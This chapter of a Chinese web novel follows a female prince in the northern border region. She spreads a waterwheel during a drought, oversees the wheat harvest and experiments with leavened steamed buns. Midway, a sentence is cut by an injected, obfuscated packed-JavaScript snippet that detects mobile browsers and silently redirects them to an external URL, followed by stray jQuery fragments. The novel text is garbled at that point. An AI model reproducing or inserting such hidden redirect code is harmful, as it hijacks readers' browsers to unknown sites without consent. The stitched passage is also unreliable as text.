第二十章：干旱的麦地有救了


    军屯出现新式水车的传闻很快就飞进各大世家的耳朵里，每家下人都跑去军屯看了水车，回来后绘声绘色的跟主家汇报。当然也是少不了监军御史范良家的。


    龙骨水车很快就被各世家用在了田间地头，能多收一点麦子，那是谁都不肯少收的。


    同时水车也迅速的向城郊以及更远的村子传播开来，伴随着镇北王的名声，传到偏僻的乡下，龙骨水车已经变成楚氏水车，在村与村之间传播。


    这使得今年干旱的麦地，大部分都赶上了灌溉，看着原本微微发黄的麦叶子，重新变成翠绿，百姓们除了感谢菩萨就是感谢镇北王。一些住在地势较高的山间村落，村长甚至将镇北王的长生牌位供奉在了村中祠堂，希望能保佑镇北王长命百岁。


    当然，这些事情楚怀北是不知道的，她那天回家也在母亲那边了解到家中麦田亦是同样有干旱的情况，便把龙骨水车画给了母亲，让她叫庄子里的木匠连夜赶工做出来使用，不要耽误了麦子收成。


    却说楚怀北不在意的事情，别人却是相当在意。比如说御史范良，比如说北境知府，比如说同知通判···


    范良给皇帝上了一本折子，大夸特夸了一番镇北王的能耐，同时把龙骨水车的图纸也一并送到皇帝玉案上。不得不说，天子近臣对揣摩龙心是有一套的。


    五月初本来已经和户部确定好的军粮120万石，在收到范良的加急折子后，皇帝就让户部尚书赵政远改成100万石，月中启程送往北境。


    每年军粮都是五月送出，需要确保北境十月前能收到，再晚北境大雪封路，不利于粮草运输。


    这边安排上行程，皇帝看着龙骨水车的图纸，内心撕扯的厉害，思绪沸腾，竟一时间难以平复。良久才吩咐近身宦官姚公公，将图纸拿去工部，让工部做两架出来。


    工部尚书周知礼接到皇帝旨意，便立即着手让人制作。其实他早几日已经接到北境知府周铭的信件。楚怀北在北境的事情，他已知晓，甚至连龙骨水车他都已经让庄子里的下人先做了起来。只等谁先捅破这层纸，他才好拿出来用在他的田庄里。


    原以为北境通判郑文晓的折子会被递上来，没想到是监军御史范良。看来这其中多少也有些不为人知的事情。


    一天功夫，工部就将龙骨水车做了出来，甚至还在扶手和踏板上雕刻了暗花纹，看着相当有美感。皇帝直接让人在御花园里试用，看着御池里的水哗哗的流向岸上的花圃，皇帝转了转拇指上的玉扳指，对着周知礼道：“多做些样品，发放到各府州，让百姓都用上。”


    “臣遵旨。”周知礼领旨告退，回工部安排人手。


    丰京一夜之间大量的龙骨水车被架在了世家大族们的田庄里，慢慢的只要村中有善木作者，村里百姓也都用上了。各府州的情况基本也类似，从世家开始往百姓间流转。


    国子监祭酒冯家，倒是最晚在田庄中用上龙骨水车的世家。众人心里怎么想，不重要，只要皇帝看见就行。皇帝怎么想又是另一回事情，但是姿态还是要摆好。冯家大爷看着小妹的来信，抚了抚他的美髯。


    朝堂之事，楚怀北不管，她现在除了每天早晨锻炼恒恒外，就是时常往军屯里跑，看麦子的长势。还要提防蒙古的突袭，蒙古那些人，坏的彻底，前几年就有一次被突袭成功，烧毁了将近千顷即将成熟的麦田。可能老天也是舍不得粮食被毁，一场及时到来的暴雨浇灭了这场大火。


    虽然蒙古过来突袭的一队人被楚怀北永远留在了北境，但是造成的损失却无法挽回。那年王府掏钱采购了一大批麦子，才使军营兵丁们的口粮有了保障。


    受到今年干旱的影响，麦子比往年稍微晚了半个多月成熟，6月中北境的麦子开始大批量成熟，农忙时节到来。楚怀北整个6月一直住在军营里，防范着蒙古。


    军队巡防换防更加频繁，6月开始，楚怀北暂停了杜季平的课业，等忙完这段时间再重启。所以杜季平在王府天天带着恒恒读书习字，倒也安心。


    军屯里忙的热火朝天，每家每户都披星戴月的赶时间收麦子，午膳都是做了饼子带到田间，就着凉水吃的。


    有次楚怀北见劳作的众人都是直接喝的河水，大惊，河里的寄生虫可不少啊，这不得早晚要出事。


    拨了十个府兵来田头，带来两口洗干净的大缸，架锅生火一锅接着一锅的烧开水，倒进大缸里放凉，让屯民带着水壶自行过来取水喝。并在一旁用黑板写了喝生水的危害，让府兵时不时的讲解，因为黑板上落款是镇北王，军屯的人多对楚怀北有天生的信任感，这个普及倒是做的还算不错。后续军屯的人慢慢都改掉了喝生水的习惯。


    忙碌了半个月到6月底，基本上都已收割完成，天公也算作美，半个月只下过一场小雨，剩下的都是大晴天，也不耽误打谷晒谷。


    等麦子都打好晒好，已经又过去一个月了，军屯开始收粮税，陈司农开始忙的脚不沾地。


    王府的庄子上也收了新粮，王妈妈用新麦子做了几次烙饼和面条，麦香十足，这纯天然的作物，就是好吃。


    等了蒙古两个月，也没见他们踪迹，楚怀北多派了两拨斥候去蒙古打探情况，斥候传回消息：蒙古三皇子和大皇子派系斗的厉害，连部分骑兵都开始待命了。


    楚怀北看的一乐，打起来，快打起来啊！不过也有可能是做戏，想让这边的将士们放松警惕，楚怀北下令严加防范，不可疏忽，凡有玩忽职守者，双倍军纪处罚。


    镇北军一向听令，这般又安稳的度过了两个月。


    某日，楚怀北在家用午膳，突然想到一个问题，王府中不怎么做面食，并且一家人都习惯吃米饭，在军营里饭菜都是副将端过来的，也都是米饭。说实话，来了这么久没吃过馒头，北方不应该吃馒头多么？


    饭后问温


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128098|180147||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姑姑，为何不做些馒头吃。温姑姑听完有些诧异，“王爷您想吃馒头吗？”


    “嗯，有些想吃了。”楚怀北道。


    “那行，我吩咐王妈妈晚膳做几个。”温姑姑应道。


    这天晚膳，饭桌上果然有馒头，楚怀北看着这造型，和前世饭店吃的窝窝头很像，拿起来咬了一大口，面挺香的，就是差点噎死她了，不是，谁家好人用这么好的面粉做死面馒头啊！


    努力咽下嘴里的面团，端起祜之递过来的汤，喝了两口将馒头顺下去，楚怀北看着温姑姑憋不住笑意的嘴角，无奈讪笑。


    难怪大家不爱吃，要吃也是烙饼或者面条。“温姑姑，为何不做发面馒头，这个死面馒头太噎人了。”


    “何为发面馒头？”温姑姑听到一个新词。


    楚怀北见全家人都在看她，“额，就是先将面团发酵一下再做的馒头。”


    很好，看情况，是这儿根本没有发面这个习惯，或者说没有这个技术，汰！


    “算了，明日我自己先研究一下，弄成了再告诉你们，我没做过，只在书上见过。”楚怀北索性自己做，这个不好解释。


    第二天楚怀北走进厨房，先拿了一个盛汤用的瓷碗和一个大盘子，烧开水在水中过了一遍消毒杀菌。拿出面粉，放了吃饭用的小碗一碗面粉，在面粉里加一大勺蜂蜜，然后加放凉的开水搅拌成絮状，洗干净手，上手揉成表面光滑的面团。这是她前世见过的一种做老面团的方法，现在没有小称，蜂蜜就看着放了，不成功就多试几次，也不会损失多少。把面团用大盘子扣起来放着发酵十二个小时，现在天气温度比较高，应该发酵速度不慢，晚上再来看看情况。


    本来发酵也可以用白糖，但是这时候没有细白糖，都是粗黄糖有杂质，用起来还要提纯，太麻烦了，反□□里有蜂蜜，也是一样可以的。


    还可以用高度白酒发面，这个更快，但是高度白酒这儿根本没有，之所以古人老是说千杯不醉，酒精度数最多只有二十度上下，能醉到哪里去啊。


    哎！！高度白酒可以消毒，有空做一套蒸馏设备出来，以后受伤的将士们伤口都用酒精消毒，可以有效预防伤口化脓。


    这么一想，事情又开始多起来了，牛马变成高级牛马，但还是牛马。


    用完晚膳，楚怀北兴冲冲的进厨房，掀开盘子一看，面团已经发酵的快三倍大了，额，可能是蜂蜜太多了，没事，闻了闻，没有酸味，应该可以使用吧，先试试看。


    拿了面粉和面，加上老面酵引，面团揉至表面光滑，醒发到两倍大，然后拿出来揉搓排气，揪成均匀的小面团，一边揉一边往里扣，整理成馒头的形状，放在蒸笼上直接蒸十五分钟，停火后在等五分钟开盖。


    慢慢的，家里人都往厨房门口站着，看楚怀北做馒头，都好奇她能做出个什么来。恒恒原本这时间都困了，今晚异常清醒，他有点期待希望能像鸡蛋糕一样好吃。